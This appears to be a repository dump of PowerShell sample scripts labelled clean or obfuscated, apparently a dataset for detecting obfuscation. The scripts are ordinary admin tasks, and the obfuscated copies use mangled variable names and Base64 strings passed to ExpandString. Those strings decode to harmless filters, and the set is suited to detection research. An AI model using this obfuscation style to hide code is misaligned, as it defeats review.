extended.ps1: -------------------------------------------------------------------------------- 1 | function Copy-ToCreateFolder 2 | { 3 | param( 4 | [string]$src, 5 | [string]$dest, 6 | $exclude, 7 | [switch]$Recurse 8 | ) 9 | 10 | # The promlem with Copy-Item -Rec -Exclude is that -exclude effects only top-level files 11 | # Copy-Item $src $dest -Exclude $exclude -EA silentlycontinue -Recurse:$recurse 12 | # http://stackoverflow.com/questions/731752/exclude-list-in-powershell-copy-item-does-not-appear-to-be-working 13 | 14 | if (Test-Path($src)) 15 | { 16 | # nonstandard: I create destination directories on the fly 17 | [void](New-Item $dest -itemtype directory -EA silentlycontinue ) 18 | Get-ChildItem -Path $src -Force -exclude $exclude | % { 19 | 20 | if ($_.psIsContainer) 21 | { 22 | if ($Recurse) # non standard: I don't want to copy empty directories 23 | { 24 | $sub = $_ 25 | $p = Split-path $sub 26 | $currentfolder = Split-Path $sub -leaf 27 | #Get-ChildItem $_ -rec -name -exclude $exclude -Force | % { "{0} {1}" -f $p, "$currentfolder\\$_" } 28 | [void](New-item $dest\\$currentfolder -type directory -ea silentlycontinue) 29 | Get-ChildItem $_ -Recurse:$Recurse -name -exclude $exclude -Force | % { Copy-item $sub\\$_ $dest\\$currentfolder\\$_ } 30 | } 31 | } 32 | else 33 | { 34 | 35 | #"{0} {1}" -f (split-path $_.fullname), (split-path $_.fullname -leaf) 36 | Copy-Item $_ $dest 37 | } 38 | } 39 | } 40 | } 41 | 42 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Create RTF File .ps1: -------------------------------------------------------------------------------- 1 | param ( 2 | [string]$Filename 3 | ) 4 | # Save script as NEWRTF.PS1 5 | # 6 | # Execute with ./NEWRTF.PS1 -filename somefilename.rtf 7 | # 8 | 9 | # Note for this basic example, there is no error checking 10 | # The full path name INCLUDING RTF extension must be supplied 11 | # for the filename 12 | # 13 | # For Example C:\\Folder\\Filename.RTF 14 | # 15 | 16 | # Four static variables for an example 17 | 18 | $Firstname="John" 19 | $Lastname="Smith" 20 | 21 | # For an RTF file, you must "escape" the Backslash with an extra Backslash 22 | 23 | $Accountname="CONTOSO\\\\jsmith" 24 | $Password="LousyPass123" 25 | 26 | # Header of the RTF file 27 | 28 | $Header+="{\\rtf1\\ansi\\ansicpg1252\\deff0\\nouicompat\\deflang1033{\\fonttbl{\\f0\\fnil\\fcharset0 Consolas;}}`r`n" 29 | $Header+="{\\*\\generator Riched20 6.2.8102}\\viewkind4\\uc1 `r`n" 30 | $Header+="\\pard\\sl276\\slmult1\\f0\\fs22\\lang9 \\par`r`n" 31 | 32 | # Content of the message 33 | 34 | $Message+="Hello $Firstname $Lastname and Welcome to ABC\\par`r`n" 35 | $Message+="Corporation.\\par`r`n" 36 | $Message+="\\par`r`n" 37 | $Message+="Your User ID is $Accountname\\par`r`n" 38 | $Message+="Your Temporary Password is $Password\\par`r`n" 39 | $Message+="\\par`r`n" 40 | $Message+="Do not share this information and remember,\\par`r`n" 41 | $Message+="We are watching....\\par`r`n" 42 | $Message+="`r`n" 43 | 44 | # Footer in the RTF File 45 | 46 | $Footer="}`r`n" 47 | 48 | # Build the content together 49 | 50 | $Content=$Header+$Message+$Footer 51 | 52 | # Create the file 53 | 54 | ADD-CONTENT -path $Filename -value $Content -force 55 | 56 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Create SP2010 Farm V03.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/Create SP2010 Farm V03.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Create SP2010 Farm V_2.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/Create SP2010 Farm V_2.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Create SP2010 Farm V_3.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/Create SP2010 Farm V_3.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Create SP2010 Farm V_4.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/Create SP2010 Farm V_4.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Create SP2010 Farm V_5.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/Create SP2010 Farm V_5.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Create a VIAccount.ps1: -------------------------------------------------------------------------------- 1 | function New-VIAccount($principal) { 2 | $flags = ` 3 | [System.Reflection.BindingFlags]::NonPublic -bor 4 | [System.Reflection.BindingFlags]::Public -bor 5 | [System.Reflection.BindingFlags]::DeclaredOnly -bor 6 | [System.Reflection.BindingFlags]::Instance 7 | $method = $defaultviserver.GetType().GetMethods($flags) | 8 | where { $_.Name -eq "VMware.VimAutomation.Types.VIObjectCore.get_Client" } 9 | $client = $method.Invoke($global:DefaultVIServer, $null) 10 | Write-Output ` 11 | (New-Object VMware.VimAutomation.Client20.PermissionManagement.VCUserAccountImpl ` 12 | -ArgumentList $principal, "", $client) 13 | } 14 | 15 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Create datastore by LUN .ps1: -------------------------------------------------------------------------------- 1 | function New-DatastoreByLun { param( [string]$vmHost, [string]$hbaId, [int]$targetId, [int]$lunId, [string]$dataStoreName ) 2 | 3 | $view = Get-VMHost $vmHost | get-view 4 | 5 | $lun = $view.Config.StorageDevice.ScsiTopology | ForEach-Object { $_.Adapter } | Where-Object {$_.Key -match $hbaId} | ForEach-Object {$_.Target} | Where-Object {$_.Target -eq $targetId} | ForEach-Object {$_.Lun} | Where-Object {$_.Lun -eq $lunId} 6 | 7 | $scsiLun = Get-VMHost $vmHost | Get-ScsiLun | Where-Object {$_.Key -eq $lun.ScsiLun} 8 | 9 | New-Datastore -VMHost $vmHost -Name $dataStoreName -Path $scsiLun.CanonicalName -Vmfs -BlockSizeMB 8 -FileSystemVersion 3 10 | } 11 | 12 | 13 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Create-SCCMCollection.ps1: -------------------------------------------------------------------------------- 1 | 2 | function Create-SCCMCollection 3 | { 4 | param($Server = $Env:ComputerName, $Name, $Site, $ParentCollectionID = "COLLROOT") 5 | 6 | $ColClass = [WMIClass]"\\\\$Server\\Root\\SMS\\Site_$($Site):SMS_Collection" 7 | $Col = $ColClass.PSBase.CreateInstance() 8 | $Col.Name = $Name 9 | $Col.OwnedByThisSite = $True 10 | $Col.Comment = "Collection $Name" 11 | $Col.psbase 12 | $Col.psbase.Put() 13 | 14 | $NewCollectionID = (Get-WmiObject -computerName $Server -namespace Root\\SMS\\Site_$Site -class SMS_Collection | where {$_.Name -eq $Name}).CollectionID 15 | 16 | $RelClass = [WMIClass]"\\\\$Server\\Root\\SMS\\Site_$($Site):SMS_CollectToSubCollect" 17 | $Rel = $RelClass.PSBase.CreateInstance() 18 | $Rel.ParentCollectionID = $ParentCollectionID 19 | $Rel.SubCollectionID = $NewCollectionID 20 | $Rel.psbase 21 | $Rel.psbase.Put() 22 | 23 | } 24 | 25 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Create-SCCMCollection_1.ps1: -------------------------------------------------------------------------------- 1 | function Create-SCCMCollection 2 | { 3 | param($Server = $Env:ComputerName, $Name, $Site, $ParentCollectionID = "COLLROOT") 4 | 5 | $ColClass = [WMIClass]"\\\\$Server\\Root\\SMS\\Site_$($Site):SMS_Collection" 6 | $Col = $ColClass.PSBase.CreateInstance() 7 | $Col.Name = $Name 8 | $Col.OwnedByThisSite = $True 9 | $Col.Comment = "Collection $Name" 10 | $Col.psbase 11 | $Col.psbase.Put() 12 | 13 | $NewCollectionID = (Get-WmiObject -computerName $Server -namespace Root\\SMS\\Site_$Site -class SMS_Collection | where {$_.Name -eq $Name}).CollectionID 14 | 15 | $RelClass = [WMIClass]"\\\\$Server\\Root\\SMS\\Site_$($Site):SMS_CollectToSubCollect" 16 | $Rel = $RelClass.PSBase.CreateInstance() 17 | $Rel.ParentCollectionID = $ParentCollectionID 18 | $Rel.SubCollectionID = $NewCollectionID 19 | $Rel.psbase 20 | $Rel.psbase.Put() 21 | 22 | } 23 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Create-Sequence.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/Create-Sequence.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/CreateSite_tmp.ps1: -------------------------------------------------------------------------------- 1 | # the order of the set custom WSP template 2 | # Список необходимого для использования личного WSP шаблона 3 | #Add-SPSolution D:\\tmp\\ps\\template\\test.wsp 4 | #Install-SPSolution -identity "test.wsp" 5 | #Install-SPSolution -Identity test.wsp -GACDeployment 6 | #Enable-SPFeature test -url http://spf 7 | # delete WSP 8 | #Remove-SPSolution -identity "test.wsp" 9 | #Uninstall-SPSolution -identity "Test.wsp" 10 | 11 | $site = Get-SPSite http://spf/ 12 | $web = $site.RootWeb 13 | $templates = "{055CF2A7-43A8-48E1-95CB-19DC393F0215}#kolam""" 14 | 15 | write-host "template = $templates ; web = $web " 16 | 17 | New-SPWeb -name 'KoKA2' -url http://spf/koka2 -UseParentTopNav -AddToTopNav -Template $templates 18 | # -UniquePermissions #kolam" 19 | 20 | 21 | #New-SPWeb -Url http://sps2010/sites/mynewsite -Name "my new site" -Template ""{E6BD7EFF-8336-4975-BA22-2256970781E2}#SubWebTemplate" 22 | #" -UseParentTopNav -UniquePermissions 23 | 24 | #> 25 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/after.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/after.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/archive.ps1: -------------------------------------------------------------------------------- 1 | $rootDir = 'C:\\Documents and Settings\\buddyl\\My Documents\\Powershell Scripts\\'; 2 | $temp = $rootDir + 'temp' 3 | mkdir $temp 4 | 5 | $tempDir = $temp + '\\' 6 | 7 | $targetFolder1 = $rootDir + 'test' 8 | $zip1 = $tempDir + 'test1.zip' 9 | gi $targetFolder1 | out-zip $zip1 $_ 10 | 11 | $targetFolder2 = $rootDir + 'test2' 12 | $zip2 = $tempDir + 'test2.zip' 13 | gi $targetFolder2 | out-zip $zip2 $_ 14 | 15 | 16 | $day = (Get-Date).get_day(); 17 | $month = (Get-Date).get_Month(); 18 | $year = (Get-Date).get_Year(); 19 | $date = $month.ToString() + "-" + $day.ToString() + "-" + $year.ToString(); 20 | 21 | 22 | $file = $rootDir + 'backup' + $date + '.zip' 23 | 24 | gi $temp | out-zip $file $_ 25 | 26 | rmdir $temp -r 27 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/callias.ps1: -------------------------------------------------------------------------------- 1 | function prompt { 2 | $mapped_drives = Get-WmiObject Win32_LogicalDisk -Filter "drivetype=4" | foreach {echo $_.deviceid} 3 | $local_drives = Get-WmiObject Win32_LogicalDisk -Filter "drivetype=3" | foreach {echo $_.deviceid} 4 | $removable_drives = Get-WmiObject Win32_LogicalDisk -Filter "drivetype=2" | foreach {echo $_.deviceid} 5 | $t = $(get-date -format "HH:mm:ss") 6 | $a = (get-location).path 7 | $d = (get-location).path.substring(0,$a.indexof(":")+1) 8 | $a = $a.substring($a.LastIndexOf("`\\")+1) 9 | if ((get-location).path.substring(0,(get-location).path.indexof(":")) -eq "Microsoft.PowerShell.Core\\FileSystem") { 10 | $a = (get-location).path 11 | $a = $a.substring($a.indexof(":")+2) 12 | write-host -fore white -back blue "$t - $a ";"`$`> "} 13 | else { 14 | if ($a -eq "") {$a = "`\\"} 15 | if ($d.length -gt 2) { 16 | write-host -ForegroundColor black -backgroundcolor red "[$t] - [$d] $a ";"`$`> "} 17 | elseif ($local_drives -contains "$d") { 18 | write-host -ForegroundColor black -backgroundcolor green "[$t] - [$d] $a ";"`$`> "} 19 | elseif ($removable_drives -contains "$d") { 20 | write-host -ForegroundColor black -backgroundcolor yellow "[$t] - [$d] $a ";"`$`> "} 21 | elseif ($mapped_drives -contains "$d") { 22 | write-host -ForegroundColor black -backgroundcolor magenta "[$t] - [$d] $a ";"`$`> "} 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/check-disabledstatus.ps1: -------------------------------------------------------------------------------- 1 | # check-disabledstatus.ps1 2 | # by Ken Hoover - Yale University ITS Windows Systems Team - Spring 2009 3 | # 4 | # reads a text file of usernames and outputs CSV showing the status of that user - OK, DISABLED or NOTFOUND 5 | 6 | if (!($args[0])) { 7 | Write-Host "`nPlease specify a file containing usernames to check on the command line.`n" -ForegroundColor yellow 8 | exit 9 | } 10 | 11 | # the bit pattern for a disabled user 12 | $isdisabled = 0x02 13 | 14 | $searcher = new-object DirectoryServices.DirectorySearcher([ADSI]"") 15 | 16 | $userlist = Get-Content $args[0] | sort 17 | 18 | $i = 0 19 | 20 | foreach ($user in $userlist) 21 | { 22 | $status = "NOSUCHUSER" 23 | $i++ 24 | 25 | $pc = [int](($i / $userlist.count) * 100) 26 | 27 | Write-Progress -Activity "Checking users" -Status "$user..." -percentcomplete $pc 28 | 29 | $searcher.filter = "(&(objectClass=user)(sAMAccountName= $user))" 30 | $founduser = $searcher.findOne() 31 | 32 | # $uac = ($founduser.psbase.properties.useraccountcontrol[0]) 33 | 34 | if ($founduser.psbase.properties.useraccountcontrol) { 35 | if ($founduser.psbase.properties.useraccountcontrol[0] -band $isdisabled) { # Logical AND test 36 | $status = "DISABLED" 37 | } else { 38 | $status = "OK" 39 | } 40 | } 41 | Write-Host "$user, $status" 42 | } 43 | 44 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/check-nsca.ps1: -------------------------------------------------------------------------------- 1 | #region vars 2 | $statvalues=("mem.usage.average", "cpu.usage.average") 3 | $nsca_stat = "" 4 | [int]$warnlevel = 85 5 | [int]$criticallevel = 90 6 | $status = "" 7 | $nagsrv = "nagios-srv.local" 8 | #endregion 9 | 10 | $vms = Get-VM | Where-Object { $_.PowerState -eq "PoweredOn" } | sort-object 11 | 12 | foreach ($vm in $vms) { 13 | $statvalues | foreach { 14 | [int]$statavg = ($vm | Get-Stat -Stat $_ -Start ((get-date).AddMinutes(-5)) -MaxSamples 500 | Measure-Object -Property Value -Average).Average 15 | $vmdns = ($vm | Get-VMGuest).Hostname 16 | switch ($_) { 17 | "mem.usage.average" { $nsca_stat = "mem_vm"; $desc = "Memory Usage" } 18 | "cpu.usage.average" { $nsca_stat = "cpu_vm"; $desc = "CPU Usage" } 19 | } 20 | if ($statavg -gt $criticallevel) { 21 | $status = "2" 22 | $desc = "CRITICAL: " + $desc 23 | } elseif ($statavg -gt $warnlevel) { 24 | $status = "1" 25 | $desc = "WARNING: " + $desc 26 | } elseif ($statavg -lt $warnlevel) { 27 | $status = "0" 28 | } 29 | $nsca = "${vmdns};${nsca_stat};${status};${desc} ${statavg}% | ${nsca_stat}=${statavg};$warnlevel;$criticallevel;0;100" 30 | Write-Host $nsca 31 | if ($vmdns) { echo $nsca | ./send_nsca.exe -H $nagsrv -c send_nsca.cfg -d ";" } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/chkhash.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/chkhash.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/chkhash_1.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/chkhash_1.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/chkhash_2.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/chkhash_2.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/chkhash_3.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/chkhash_3.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/chkhash_4.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/chkhash_4.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/chkhash_5.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/chkhash_5.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/connect-domain.ps1: -------------------------------------------------------------------------------- 1 | function connect-domain_X { 2 | BEGIN {$foregroundcolor= (get-host).ui.rawui.get_foregroundcolor() 3 | Write-Host ""; 4 | "---------------------------------" ; 5 | "Entering Nested Prompt for Quest connection to DOMAIN_X."; 6 | "Type `"Exit`" when finished."; 7 | "---------------------------------" ; 8 | "" 9 | 10 | (get-host).ui.rawui.set_foregroundcolor("magenta") 11 | $pw = Read-Host "Enter your DOMAIN_X password" -AsSecureString 12 | } 13 | PROCESS {connect-QADService -service 'domaincontroller' -ConnectionAccount 'domain_x\\username' -ConnectionPassword $pw 14 | $host.enternestedprompt() 15 | } 16 | END { 17 | (get-host).ui.rawui.set_foregroundcolor($foregroundcolor) 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/convert-vim2css.ps1: -------------------------------------------------------------------------------- 1 | param( [string] $vimfile ) 2 | 3 | # some instructions we don't care for 4 | $ignorable = ( 'link', 'clear' ) 5 | 6 | $nrx = 'hi (?\\w+)' 7 | $fgrx = 'guifg=(?#\\w+)' 8 | $bgrx = 'guibg=(?#\\w+)' 9 | $frx = 'gui=(?\\S+)' 10 | 11 | (gc $vimfile) | ?{ 12 | ($_ -match $nrx) -and ($ignorable -notcontains $matches.n) 13 | } | %{ 14 | if ( $matches.n -eq 'Normal' ) { 15 | write '.codebg {' 16 | write ' border-left: solid 1em #303030;' 17 | write ' font-size: 1.1em;' 18 | write ' padding: 0.8em 0.5em;' 19 | } else { 20 | write ".$($matches.n) {" 21 | } 22 | if ( $_ -match $fgrx ) { 23 | write " color: $($matches.n);" 24 | } 25 | if ( $_ -match $bgrx ) { 26 | write " background: $($matches.n);" 27 | } 28 | # element could any combination of these 29 | if ( $_ -match $frx ) { 30 | switch ( $matches.n.split(',') ) { 31 | "italic" { write " font-style: $_;" } 32 | "bold" { write " font-weight: $_;" } 33 | "underline" { write " text-decoration: $_;" } 34 | } 35 | } 36 | write '}' 37 | } 38 | 39 | # other boilerplate code 40 | write 'code {' 41 | write ' font-family: Consolas, "DejaVu Sans Mono", "Lucida Console", monospace; ' 42 | write '}' 43 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/coolprompt.ps1: -------------------------------------------------------------------------------- 1 | 2 | $global:wmilocalcomputer = get-WMIObject -class Win32_OperatingSystem -computer "." 3 | $global:lastboottime=[System.Management.ManagementDateTimeconverter]::ToDateTime($wmilocalcomputer.lastbootuptime) 4 | $global:originaltitle = [console]::title 5 | 6 | function prompt 7 | { 8 | $up=$(get-date)-$lastboottime 9 | 10 | $upstr="$([datetime]::now.toshorttimestring()) $([datetime]::now.toshortdatestring()) up $($up.days) days, $($up.hours) hours, $($up.minutes) minutes" 11 | 12 | $dir = $pwd.path 13 | 14 | $homedir = (get-psprovider 'FileSystem').home 15 | 16 | if ($homedir -ne "" -and $dir.toupper().startswith($homedir.toupper())) 17 | { 18 | $dir=$dir.remove(0,$homedir.length).insert(0,'~') 19 | } 20 | 21 | $retstr = "$env:username@$($env:computername.tolower())●$dir" 22 | 23 | [console]::title = "$global:originaltitle ♦ $retstr ♦ $upstr" 24 | 25 | return "$retstr►" 26 | } 27 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/copy-data.ps1: -------------------------------------------------------------------------------- 1 | function copy-data { 2 | param($source, $dest) 3 | $counter = 0 4 | $files = Get-ChildItem $source -Force -Recurse 5 | foreach($file in $files) 6 | { 7 | $status = "Copying file {0} of {1}: {2}" -f $counter, $files.count, $file.name 8 | Write-Progress -Activity "Copyng Files" -Status $status -PercentComplete ($counter/$files.count * 100) 9 | Copy-Item $file.pspath $dest -Force 10 | $counter++ 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/count-object.ps1: -------------------------------------------------------------------------------- 1 | #a function to count how many items there are, whether its an array, a collection, or actually just 2 | # a single no array/non list/non collection object in which case it would be 1 3 | function count ($InputObject) 4 | { 5 | if ($inputobject -eq $Null ) { return 0} 6 | if ($inputobject -is [system.array]) { return $inputobject.length } 7 | if ($inputobject -is [system.collections.ICollection] -or 8 | $inputobject -is [system.collections.IList] ) { return $inputobject.count } 9 | #strings are ienumerable, they also have a length, but i think we want to treat 1 string as one object 10 | if ($inputobject -is [string]) { return 1 } 11 | #-1 to show that it is enumerable, but we can't know its length, it could be infinate, 12 | #or take a long time even to enumerate without going over 13 | if ($inputobject -is [system.collections.IEnumerable]) { return -1 } 14 | #otherwise just return 1 15 | return 1 16 | } 17 | count (get-process) 18 | count (1,2,3) 19 | count "hello" 20 | count 3 21 | 22 | $a = new-object system.collections.arraylist 23 | [void] $a.add(4); 24 | [void] $a.add("yo"); 25 | 26 | count $a 27 | 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/count-object_1.ps1: -------------------------------------------------------------------------------- 1 | #a function to count how many items there are, whether its an array, a collection, or actually just 2 | # a single no array/non list/non collection object in which case it would be 1 3 | function count-object ($InputObject) 4 | { 5 | if ($inputobject -eq $Null ) { return 0} 6 | if ($inputobject -is [system.array]) { return $inputobject.length } 7 | if ($inputobject -is [system.collections.ICollection] -or 8 | $inputobject -is [system.collections.IList] -or 9 | $inputobject -is [system.collections.IDictionary] ) { return $inputobject.count } 10 | #strings are ienumerable, they also have a length, but i think we want to treat 1 string as one object 11 | if ($inputobject -is [string]) { return 1 } 12 | #-1 to show that it is enumerable, but we can't know its length, it could be infinate, 13 | #or take a long time even to enumerate without going over 14 | if ($inputobject -is [system.collections.IEnumerable]) { return -1 } 15 | #otherwise just return 1 16 | return 1 17 | } 18 | set-alias count count-object 19 | count (get-process) 20 | count (1,2,3) 21 | count "hello" 22 | count 3 23 | count @{first = 1; second = 2 } 24 | 25 | $a = new-object system.collections.arraylist 26 | [void] $a.add(4); 27 | [void] $a.add("yo"); 28 | 29 | count $a 30 | 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/createSiteFromTemplate.ps1: -------------------------------------------------------------------------------- 1 | # Load the template 2 | $url = "http://spf" # where template base 3 | $namesite = "Good Site" #name new site title 4 | $targeturl = "goodsite" #name url new site 5 | # find id = viewAlltemplate 6 | $templateID = "{055CF2A7-43A8-48E1-95CB-19DC393F0215}" 7 | #$templateID = "{055CF2A7-43A8-48E1-95CB-19DC393F0215}#kolam" 8 | 9 | $site= new-Object Microsoft.SharePoint.SPSite($url ) 10 | # 1049 - russian, 1033 -english 11 | $loc= [System.Int32]::Parse(1049) 12 | 13 | # have list template with Russian localization 14 | $templates= $site.GetWebTemplates($loc) 15 | 16 | #Write-Host "templates = " $templates 17 | 18 | # view all templates in table - 19 | # this for find id custom template for installing 20 | foreach ($child in $templates){ write-host $child.Name " " $child.Title} 21 | # Теоретически - высвобождает ресурсы 22 | $site.Dispose() 23 | 24 | #look in the Output for the right one, and copy the Template Name 25 | 26 | #create a new-SPWeb 27 | $web = New-SPWeb -Url http://spf/$targeturl -Name "$namesite" -UseParentTopNav -AddToTopNav -UniquePermissions 28 | 29 | #-Template ""{E6BD7EFF-8336-4975-BA22-2256970781E2}#SubWebTemplate" 30 | 31 | 32 | # Another option is to create the New-SPWeb without the 33 | #-template argument. Then you can apply the custom template 34 | # by following line: 35 | $web.ApplyWebTemplate($templateID) 36 | 37 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/ISESteroids/2010BulkMailboxExport.ps1: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | ${/==\/==\/==\/\_/\} = Import-Csv D:\ExportedPST\users.csv 13 | 14 | foreach (${___/\/\_/\/==\_/=} in ${/==\/==\/==\/\_/\}) 15 | { 16 | 17 | Write-Host "`nStarted processing ${___/\/\_/\/==\_/=}.FirstName" -ForegroundColor Cyan 18 | ${__/\/===\____/\/=} = ${___/\/\_/\/==\_/=}.FirstName+${___/\/\_/\/==\_/=}.LastName 19 | New-MailboxExportRequest -DomainController g1vdceu01.eu.bpww.org -Mailbox ${___/\/\_/\/==\_/=}.Alias -FilePath "\\g1vmbxarch01\D$\ExportedPST\${__/\/===\____/\/=}.pst" 20 | } 21 | 22 | 23 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/ISESteroids/AddImplementer2MA-V0.1.ps1: -------------------------------------------------------------------------------- 1 | ipmo smlets 2 | ${/====\__/===\_/\_} = 'MA121' 3 | ${_/=\_/\/=\__/\/=\} = "Peter Pan" 4 | ${_/\/\____/\/===\_} = Get-SCSMClass -Name System.WorkItem.Activity.ManualActivity$ 5 | ${/=\/\/\/\/==\/\__} = Get-SCSMObject -Class ${_/\/\____/\/===\_} -Filter $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SQBEACAALQBlAHEAIAAkAHsALwA9AD0APQA9AFwAXwBfAC8APQA9AD0AXABfAC8AXABfAH0A'))) 6 | ${/=\_/=\/=====\/=\} = Get-SCSMClass -Name Microsoft.AD.User$ 7 | ${/====\______/==\_} = Get-SCSMObject -Class ${/=\_/=\/=====\/=\} –Filter $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RABpAHMAcABsAGEAeQBOAGEAbQBlACAALQBlAHEAIAAkAHsAXwAvAD0AXABfAC8AXAAvAD0AXABfAF8ALwBcAC8APQBcAH0A'))) 8 | ${/=\_/=\______/\/\} = Get-SCSMRelationshipClass -Name System.WorkItemAssignedToUser$ 9 | New-SCSMRelationshipObject -RelationShip ${/=\_/=\______/\/\} -Source ${/=\/\/\/\/==\/\__} -Target ${/====\______/==\_} -Bulk 10 | rmo smlets -Force -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/ISESteroids/Get-StringHash.ps1: -------------------------------------------------------------------------------- 1 | Function Get-StringHash([String] $String,$HashName = "MD5") 2 | { 3 | ${/==\_/===\___/==\} = New-Object System.Text.StringBuilder 4 | [System.Security.Cryptography.HashAlgorithm]::Create($HashName).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($String))|%{ 5 | [Void]${/==\_/===\___/==\}.Append($_.ToString("x2")) 6 | } 7 | ${/==\_/===\___/==\}.ToString() 8 | } -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/ISESteroids/Open-ISEFunction.ps1: -------------------------------------------------------------------------------- 1 | function Open-ISEFunction { 2 | 3 | [cmdletbinding()] 4 | param( 5 | [Parameter(Position=0,ValueFromPipeline=$true)] 6 | [ValidateScript({ gcm -commandtype function -name $_ })] 7 | [string[]]$function 8 | ) 9 | 10 | Process{ 11 | 12 | 13 | foreach(${____/\__/\/=\/=\/} in $function){ 14 | 15 | 16 | ${__/\/\_/\/====\/\} = (gcm -commandtype function -name ${____/\__/\/=\/=\/}).definition 17 | 18 | 19 | ${__/\/\_/\/====\/\} = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZgB1AG4AYwB0AGkAbwBuACAAJAB7AF8AXwBfAF8ALwBcAF8AXwAvAFwALwA9AFwALwA9AFwALwB9ACAAewA='))) + ${__/\/\_/\/====\/\} + "}" 20 | 21 | 22 | ${__/\______/====\/} = $psise.CurrentPowerShellTab.files.Add() 23 | ${__/\______/====\/}.editor.text = ${__/\/\_/\/====\/\} 24 | ${__/\______/====\/}.editor.SetCaretPosition(1,1) 25 | 26 | 27 | start-sleep -Milliseconds 200 28 | } 29 | } 30 | } -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Obfuscated/ISESteroids/Response_time_Multiple_Servers.ps1: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 